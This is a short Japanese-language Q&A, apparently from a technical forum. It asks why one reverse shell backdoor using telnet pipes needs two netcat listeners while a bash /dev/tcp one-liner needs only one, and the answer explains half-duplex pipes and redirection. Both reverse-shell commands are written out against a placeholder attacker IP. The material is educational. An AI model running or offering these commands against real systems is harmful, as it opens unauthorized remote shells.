このリバースシェルバックドアの例に2つのリスナーが必要なのはなぜですか?リスナーはncコマンド(nc -l)を使用しています。
telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <port_b>
以下のリバースシェルバックドアの例では2つのリスナーは必要ありませんが、必要なのは1つだけです。
/bin/bash -i > dev/tcp<attacker_ip>/<port> 0<&1 2>&1
関連する質問を探しましたが、知りたいことと正確に一致する回答が見つかりません...
パイプは「半二重」接続です。データは一方向(左側のプログラムから右側のプログラムへ)のみを通過します。シェルをネットワークに接続するためにパイプを使用している場合、そのうちの2つが必要です。1つは入力を処理し、もう1つは出力を処理します。
2番目の例の_/dev/tcp
_疑似ファイルシステムによって提供されるようなネットワーク接続は双方向です。データは双方向に流れることができます。出力リダイレクト(_> /dev/tcp/<attacker_ip>/<port>
_はネットワークを作成し、シェルの標準出力を接続入力にフックします。_0<&1
_は「標準入力を標準出力と同じ場所に接続する」(ネットワーク接続)を意味し、_2>&1
_は、「エラー出力を標準出力と同じ場所に接続する」(ネットワーク接続も同じ)を意味します。